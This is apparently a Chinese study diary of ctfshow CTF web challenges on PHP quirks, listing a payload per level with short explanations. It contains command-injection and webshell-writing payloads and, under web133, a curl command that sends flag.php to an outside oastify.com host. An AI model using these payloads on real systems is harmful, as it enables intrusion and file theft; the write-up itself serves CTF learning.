学习日记-4(php特性)

web89

1
?num[]=1     #preg_match只能处理字符串,当传入的subject是数组时会返回false

web90

1
?num=4476.0

web91

1
?cmd=%0aphp ?cmd=php%0a%0d  #m表示多行匹配,若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配

web92

1
?num=0x117c   #16进制

相关知识:强比较“===”/弱比较“==“

web93

1
?num=010574  #8进制

web94

1
?num=4476.0   #strpos($num, "0")返回出现0的位置,所以这里0不能在首位

web95

1
?num=+010574

web96

1
?u=./flag.php

web97

1
a[]=1&b[]=2

web98

如果使用GET方式传参,GET传参会被赋值为POST传参的,又要求$_GET[‘HTTP_FLAG’]==’flag’,所以只要同时使用GET,POST传参HTTP_FLAG=flag即可

相关知识:PHP中的三元运算符

web99

file_put_contents() 函数:写入文件
当n在随机数中,可以向以n命名的文件写入
?n=1.php
content= #向1.php写入一句话木马
访问1.php 1=system(‘ls’); 然后cat

web100

1
?v1=1&v2=system("tac ctfshow.php")||&v3=;

web101+103

1
?v1=1&v2=echo new Reflectionclass&v3=;    #利用反射类

flag少一位一个个试

相关:https://blog.csdn.net/joshua317/article/details/120186644

https://blog.csdn.net/Xxy605/article/details/110109147

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2); #返回v2第三位起的字符
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

?>

file_put_contents($v3, $str);的作用就是把变量$str中的内容写入到由$v3指定的文件中,默认会覆盖原有内容,并返回写入的字节数或在失败时返回FALSE

$v2要为纯数字,最终会写入$v3作用后的$v2第三位起的字符,

1
2
3
4
5
6
7
利用伪协议写入v3=php://filter/write=convert.base64-decode/resource=1.php
hex2bin
原始代码<?=`tac *`;
先进行base64加密再转换为16进制504438395948526859794171594473由于写入的是从第三位起,随便输2个数字占位
最终?v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
执行后访问1.php,查看源码

web104+106

1
2
3
4
5
6

GET: v2=1
POST: v1=1
或者
GET: v2[]=1
POST: v1[]=2

web105

1
2
?1=flag
error=1

web107

1
2
3
?v3=QNKCDZO
v1=flag=0
parse_str()函数把查询字符串以数组方式解析到变量中

web108

1
2
必须有字母,反转后=877
?c=a%00778 %00进行截断

web109

看到eval(“echo new $v1($v2());”);想起web101的反射类

1
2
?v1=Reflectionclass&v2=system('ls')
?v1=Reflectionclass&v2=system('tac fl36dg.txt')

web110

1
2
3
4
php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
getcwd()函数 获取当前工作目录 返回当前工作目录
?v1=FilesystemIterator&v2=getcwd
直接访问

相关知识:https://blog.csdn.net/qq_63701832/article/details/131166789

web111

1
?v1=ctfshow&v2=GLOBALS

相关知识:https://www.runoob.com/php/php-superglobals.html

web112+114

1
2
3
?file=php://filter/resource=flag.php    #利用伪协议
还可以/proc/self/root代表根目录,多次重复使用导致溢出绕过
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

相关知识:https://blog.csdn.net/wangyuxiang946/article/details/131149171

https://www.php.net/manual/zh/wrappers.php

web113

1
?file=compress.zlib://flag.php

web115

用脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 将 filter 函数放在循环外部,只定义一次
function filter($num){
$num = str_replace("0x", "1", $num);
$num = str_replace("0", "1", $num);
$num = str_replace(".", "1", $num);
$num = str_replace("e", "1", $num);
$num = str_replace("+", "1", $num);
return $num;
}

for ($i = 0; $i < 129; $i++) {
$num = chr($i) . '36';

// 判断条件:确认 $num 是一个数字,且不等于 '36',经过 filter 处理后等于 '36'
if (is_numeric($num) && $num !== '36' && trim($num) !== '36' && filter($num) == '36') {
echo urlencode(chr($i)) . "\n";
}
}
?>
1
?num=%0c36

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

只要保证有参数CTF_SHOW.COM,CTF_SHOW存在,fl0g不能直接用,所以利用eval(“$c”.”;”);

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,因此直接使用CTF_SHOW.COM会被转义为CTF_SHOW_COM,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

1
2
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_POST[1])&1=flag.php

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
字符+长度限制不能利用eval("$c".";");了

?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

相关:https://blog.csdn.net/RABCDXB/article/details/122050370

https://blog.csdn.net/Jayjay___/article/details/131638620

web127

1
?ctf show=ilove36d

web128

gettext():*()是gettext()的拓展函数 在开启相关设定后,*(“666”)等价于gettext(“666”),且就返回其中的参数

get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。

1
?f1=_&f2=get_defined_vars

web129

1
?f=../ctfshow/../html/flag.php      #查看源码

web130

1
f[]=ctfshow    #stripos()遇到数组会返回null,null!=false

web131

利用溢出绕过preg_match

web132

1
2
3
4
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
满足username=admin即可绕过这里

?username=admin&password=1&code=admin

web133

利用curl -F带出flag.php

1
?F=`$F` ;curl -X POST -F xx=@flag.php  http://0noktzpsm17wc3werkeu8di4evkm8ew3.oastify.com

相关知识:https://blog.csdn.net/qq_43625917/article/details/107873787

https://www.cnblogs.com/Hi-blog/p/Burp-Collaborator-Usage.html

https://www.ruanyifeng.com/blog/2019/09/curl-reference.html

web134

1
?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
?F=`$F` ;touch 1   访问发现文件1存在
?F=`$F` ;cp flag.php 1.txt

web136

利用tee命令

1
2
3
4
5
6
7
8
9
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
?c=ls|tee 1 发现只有index.php
?c=ls /|tee 1查看根目录,发现f149_15_h3r3
?c=cat /f149_15_h3r3|tee 1

web137

直接调用类,然后查看源码

1
ctfshow=ctfshow::getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Example #4 用call_user_func()来调用一个类里面的方法

<?php

class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

以上示例会输出:

Hello!
Hello!
Hello!

1
ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

web137

web137

web137

web137

web137

web137

web137

free time

ctfshow misc

misc30

解压要密码,放010看看,发现是伪加密,修改解压后得到MP3文件,foremost分离出一张jpg图片,发现高度似乎不对,宽高处理后发现猪圈密码,解密得到flag